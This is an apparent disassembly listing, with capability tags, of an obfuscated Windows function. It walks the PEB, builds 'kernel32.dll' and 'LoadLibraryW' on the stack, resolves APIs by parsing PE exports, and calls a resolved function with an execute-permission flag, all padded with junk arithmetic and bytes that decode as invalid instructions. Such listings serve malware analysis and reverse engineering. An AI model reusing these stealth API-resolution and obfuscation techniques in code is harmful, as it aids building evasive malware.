Function at 0x512af8
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ecx
call 0x512af6
add byte [eax + 0x3e], al
xor eax, dword [edx + 0x50]
cmp eax, 0x4c4833f
add al, 0x81
int1
dec ebp
mov al, 0
add byte [ecx + 0x50], bl
add al, 0x81
int1
dec ebp
mov al, 0
add byte [ecx + 0x50], bl
add eax, 0x7512
add eax, 0xe6cd
pop eax
push eax
push ecx
add esp, 4
or eax, 0x1831b
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ecx
push eax
add esp, 4
xor ecx, 0xe2ec
xor ecx, 0x123a6
or ecx, 0x5216
pop ecx
push ecx
xor ecx, 0x10e40
pop ecx
push eax
push esi
add esp, 4
and eax, 0x9e5
and eax, 0x4152
pop eax
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push eax
push esi
add esp, 4
add eax, 0x135c6
or eax, 0xd781
xor eax, 0x15d7b
pop eax
push ecx
add ecx, 0x10f7a
or ecx, 0xf88e
or ecx, 0x300c
sub ecx, 0x16b00
pop ecx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x512c1c
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x512c76
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x512b44
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x512b44
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x512c60
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x512c6a
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x512cbf
push edx
push eax
add esp, 4
sub edx, 0x3a17
call 0x512c98
add byte [0x3e4e4642], bh
dec edx
cmp eax, 0x4c48338
call 0x512ca7
add byte [ebp + 0x44], cl
cmp al, 0x3c
inc ecx
cmp eax, dword [ebx - 0x157efb3c]
enter 0x9d, 0
pop edx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x512d27
push ebx
xor ebx, 0x3e6b
jmp 0x512ccc
add ebx, 0x123fd
or ebx, 0x610
pop ebx
push edi
push eax
add esp, 4
add edi, 0x632e
add edi, 0xaa3b
add edi, 0x978c
pop edi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x512d1d
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x512ae8
mov dword [ebp - 0x2a8], 0
push edx
add edx, 0x1600d
call 0x512d3a
add byte [eax*2 + 0x353b3c42], bh
add esp, 4
pop edx
push eax
add eax, 0x615e
jmp 0x512d4c
xor eax, 0xb944
and eax, 0x7a52
pop eax
cmp dword [ebp - 0x2a8], 0
jne 0x51365e
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edx
push ebx
add esp, 4
sub edx, 0xc3ca
xor edx, 0x45bd
add edx, 0x12c5d
pop edx
push ecx
sub ecx, 0x17384
pop ecx
push esi
push ecx
add esp, 4
jmp 0x512e2a
or esi, 0x13836
pop esi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push eax
or eax, 0x15ce
xor eax, 0x2600
pop eax
push edx
push ecx
add esp, 4
sub edx, 0x14588
xor edx, 0x13bd2
call 0x512ee2
add byte [edx + 0x3d], cl
inc edi
inc ecx
cmp esi, dword ds:[0xc483333f]
add al, 0x5a
cmp dword [ebp - 0x1518], 0
jne 0x512efe
mov dword [ebp - 0x710], 0
jmp 0x5131a5
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edi
push edx
add esp, 4
or edi, 0x8137
pop edi
push ecx
push ebx
add esp, 4
and ecx, 0x132df
xor ecx, 0x8054
or ecx, 0x13a99
pop ecx
push edi
and edi, 0xf318
xor edi, 0xd801
pop edi
cmp dword [ebp - 0xc58], 0
jne 0x512f5a
mov dword [ebp - 0x710], 0
jmp 0x5131a5
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push eax
call 0x512f74
add byte [eax + 0x47], cl
xor al, 0x3f
inc esp
dec ebp
xor eax, 0x8104c483
ror byte [eax], 0x87
add byte [eax], al
pop eax
push ecx
and ecx, 0x102de
add ecx, 0x13a48
add ecx, 0x16b77
sub ecx, 0x59d0
pop ecx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ecx
push ebx
add esp, 4
and ecx, 0x14f37
pop ecx
push ebx
push ecx
add esp, 4
or ebx, 0x12f0b
pop ebx
push eax
add eax, 0xdfbf
xor eax, 0x1525a
sub eax, 0xea0a
or eax, 0x922b
pop eax
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ecx
and ecx, 0xd873
sub ecx, 0x14236
xor ecx, 0x28d2
add ecx, 0x3ba5
pop ecx
push ecx
push ebx
add esp, 4
or ecx, 0x1cbd
sub ecx, 0x2ae0
and ecx, 0x4b2a
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x51309a
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x5130f4
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x512fc2
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x512fc2
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x5130de
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x5130e8
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x51313d
push eax
xor eax, 0x15db9
add eax, 0xf48a
xor eax, 0xa9e6
pop eax
push ebx
push esi
add esp, 4
add ebx, 0x496b
jmp 0x513122
or ebx, 0x12925
and ebx, 0xc838
pop ebx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x5131a5
push ebx
and ebx, 0xed30
jmp 0x51314d
pop ebx
push esi
or esi, 0x3be3
jmp 0x51315c
xor esi, 0xd727
pop esi
push eax
push ebx
add esp, 4
sub eax, 0x15e3f
pop eax
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x51319b
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x512f66
mov dword [ebp - 0x710], 0
push esi
push edi
add esp, 4
sub esi, 0x156b3
add esi, 0x1623e
sub esi, 0x12537
pop esi
push edx
sub edx, 0xac8c
add edx, 0xae1d
pop edx
push edi
push ecx
add esp, 4
and edi, 0xc375
pop edi
cmp dword [ebp - 0x710], 0
jne 0x513221
push esi
sub esi, 0x149a6
and esi, 0x17068
and esi, 0x86e6
or esi, 0x18413
pop esi
push ebx
call 0x513208
add byte [esi + edi + 0x4f], al
aaa
inc ebx
dec esp
inc ebx
add esp, 4
add ebx, 0x15339
pop ebx
mov dword [ebp - 0xa58], 0
jmp 0x513d49
push edx
and edx, 0xd28c
or edx, 0xd7d9
or edx, 0x76b8
pop edx
push eax
call 0x513243
add byte [0x4a3a3a42], bh
dec ecx
dec ebx
add esp, 4
add eax, 0x1c26
and eax, 0x1f7e
pop eax
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x513292
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x513583
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x5132ba
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x513583
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x5132ec
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x513583
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x513311
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x513583
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x51336b
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x513577
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x5133db
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x51348d
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x51348d
push ecx
push ebx
add esp, 4
add ecx, 0xa1fb
xor ecx, 0x12c6a
call 0x513426
add byte [eax + 0x43], cl
dec esi
cmp byte [esi + ecx*2], dh
dec eax
add esp, 4
call 0x513436
add byte [esi], dh
xor edi, dword ss:[esp + edi]
xor eax, 0x4c48339
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x51347f
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x513486
jmp 0x5133cc
jmp 0x51348d
push edx
add edx, 0x1636e
or edx, 0x1c91
xor edx, 0x14924
or edx, 0x1800a
pop edx
push edx
push eax
add esp, 4
sub edx, 0x657e
and edx, 0xbb91
or edx, 0xabb6
pop edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x5134ec
mov dword [ebp - 0xc5c], 0
jmp 0x51355b
push edx
and edx, 0xb909
and edx, 0x6a99
and edx, 0xca9f
and edx, 0x9e48
pop edx
push esi
push ebx
add esp, 4
or esi, 0x8192
pop esi
push eax
push edi
add esp, 4
add eax, 0x7bf9
pop eax
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x513551
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x51355b
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x513572
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x513583
jmp 0x51335c
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x51365e
push edx
push esi
add esp, 4
and edx, 0xd693
or edx, 0x16b3b
call 0x5135b0
add byte [edi], dh
inc edi
xor al, byte [ecx + 0x3f]
push eax
xor eax, 0xc483403f
add al, 0x5a
push edx
and edx, 0x150
xor edx, 0x7ad7
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push ecx
push esi
add esp, 4
jmp 0x5135d9
and ecx, 0xab24
or ecx, 0xab3f
or ecx, 0x68ca
pop ecx
push edi
sub edi, 0x161c7
sub edi, 0x1b90
sub edi, 0x16d57
pop edi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x51365e
push eax
call 0x51362e
add byte [edi + 0x50], al
inc ecx
xor al, 0x3f
inc edi
dec edi
dec ebp
dec ecx
add esp, 4
add eax, 0x43a3
sub eax, 0x14639
pop eax
push eax
push edi
add esp, 4
jmp 0x513648
jmp 0x51364e
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x513d49
push ebx
or ebx, 0x402c
or ebx, 0x7a03
pop ebx
push esi
sub esi, 0x9d82
or esi, 0xb7a5
add esi, 0x135dd
call 0x51368c
add byte [esi + 0x48], al
dec esp
dec ebp
cmp eax, 0xc483404e
add al, 0x5e
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ebx
push edx
add esp, 4
xor ebx, 0x8dd6
sub ebx, 0xbcf2
or ebx, 0x121a9
sub ebx, 0x5209
pop ebx
push eax
xor eax, 0x12d40
sub eax, 0xb223
sub eax, 0x84a6
pop eax
cmp dword [ebp - 0x1574], 0
jne 0x513702
mov dword [ebp - 0x2a8], 0
jmp 0x5139a9
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push esi
push ecx
add esp, 4
xor esi, 0x6c10
add esi, 0x2b4
jmp 0x51372d
pop esi
push esi
push edx
add esp, 4
add esi, 0xb5cd
and esi, 0x11ddb
xor esi, 0xa75d
pop esi
cmp dword [ebp - 0xc68], 0
jne 0x51375e
mov dword [ebp - 0x2a8], 0
jmp 0x5139a9
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push edx
push eax
add esp, 4
call 0x51377e
add byte [esi], bh
inc ebx
dec esi
inc esi
xor edi, dword [esi]
inc ebp
push eax
dec ebp
add esp, 4
pop edx
push edi
and edi, 0x11aa1
add edi, 0x930e
or edi, 0x243a
jmp 0x51379b
pop edi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push ecx
add ecx, 0x13a55
pop ecx
push eax
or eax, 0x3d79
pop eax
push esi
and esi, 0xa0c0
add esi, 0x34a5
pop esi
push eax
push esi
add esp, 4
xor eax, 0x8dcd
pop eax
push esi
sub esi, 0xb457
pop esi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push eax
push ecx
add esp, 4
add eax, 0x52f5
call 0x51386a
add byte [ebx], dh
xor eax, 0x324a323e
cmp al, 0x4e
inc esp
xor eax, dword [ebx + 0xbe804c4]
add byte [eax], al
add byte [eax], al
aaa
inc edi
aaa
inc esp
dec eax
xor al, 0x4f
dec esp
xor bh, byte [edi]
add esp, 4
pop eax
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x51389e
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x5138f8
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x5137c6
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x5137c6
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x5138e2
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x5138ec
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x513941
push ebx
jmp 0x513908
add ebx, 0x894b
pop ebx
push edx
call 0x51391d
add byte [ebx + eax*2], bh
xor al, 0x44
inc ebp
dec esp
dec esp
add esp, 4
sub edx, 0xe853
sub edx, 0x5597
xor edx, 0x1065a
pop edx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x5139a9
push ecx
push edx
add esp, 4
and ecx, 0x14897
pop ecx
push eax
push eax
add esp, 4
and eax, 0x1213e
xor eax, 0x4354
pop eax
push ecx
and ecx, 0x129c
sub ecx, 0x185b3
add ecx, 0x66b5
pop ecx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x51399f
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x51376a
mov dword [ebp - 0x2a8], 0
push esi
push esi
add esp, 4
or esi, 0x139f
pop esi
push edi
add edi, 0x77d1
sub edi, 0x107e8
call 0x5139d1
add byte [ebx + 0x34], al
dec ebp
dec eax
xor eax, dword [edx + 0x3f]
cmp al, byte [ebx + eax*4 - 0x3c]
add al, 0x81
out dx, eax
xor al, byte [edi]
add byte [eax], al
pop edi
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push ebx
or ebx, 0xc278
or ebx, 0xda66
add ebx, 0x9254
pop ebx
push edi
push ecx
add esp, 4
and edi, 0x5e07
and edi, 0x126d5
and edi, 0x91fb
add edi, 0xe178
pop edi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x513a4c
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x513d3d
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x513a74
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x513d3d
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x513aa6
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x513d3d
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x513acb
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x513d3d
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
dec eax
and byte [ecx - 0x18ff73], cl
dec dword [ebx - 0x7236b]
dec dword [ebx - 0x3037b]
inc dword [ebx]
inc edx
and al, 0x89
test esp, edi
out 0xff, al
dec dword [ebx - 0x72373]
dec dword [ebx - 0x3036b]
inc dword [ebx]
push ecx
sbb al, 0x89
xchg ebp, eax
clc
out 0xff, al
inc edi
test eax, ebx
clc
invalid
inc dword [eax]
add byte [eax], al
add bl, ch
invalid
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x513d31
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x513b95
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x513c47
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x513c47
push ebx
and ebx, 0x30f4
sub ebx, 0x231
sub ebx, 0x30d5
sub ebx, 0x6865
pop ebx
push ecx
push edx
add esp, 4
or ecx, 0x11d17
sub ecx, 0x6e4
xor ecx, 0x164be
pop ecx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
test dword [esi + edi*8 - 1], esi
dec dword [edi]
mov esi, 0xf6a0058c
invalid
invalid
cmp edx, ecx
je 0x513c39
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x513c40
jmp 0x513b86
jmp 0x513c47
push esi
add esi, 0xdacf
pop esi
push edi
push edi
add esp, 4
and edi, 0xa981
pop edi
push eax
push edi
add esp, 4
sub eax, 0x184b6
pop eax
push ecx
push ecx
add esp, 4
sub ecx, 0xe2ba
sub ecx, 0x1627
pop ecx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x513ca6
mov dword [ebp - 0xc6c], 0
jmp 0x513d15
push ecx
sub ecx, 0xd640
or ecx, 0x9f83
pop ecx
push eax
jmp 0x513cbc
pop eax
push esi
jmp 0x513cc5
jmp 0x513ccb
add esi, 0x9047
and esi, 0x131eb
pop esi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x513d0b
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x513d15
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x513d2c
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x513d3d
jmp 0x513b16
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edx
push eax
add esp, 4
jmp 0x513d54
add edx, 0x9f61
or edx, 0xbfe9
pop edx
push ebx
call 0x513d71
add byte [ebx], dh
cmp byte [ebx + 0x32], cl
cmp al, 0x35
dec ebp
add esp, 4
or ebx, 0x4906
pop ebx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x513dee
push edx
xor edx, 0x690b
add edx, 0x152b4
pop edx
push ecx
jmp fcn.00513dbc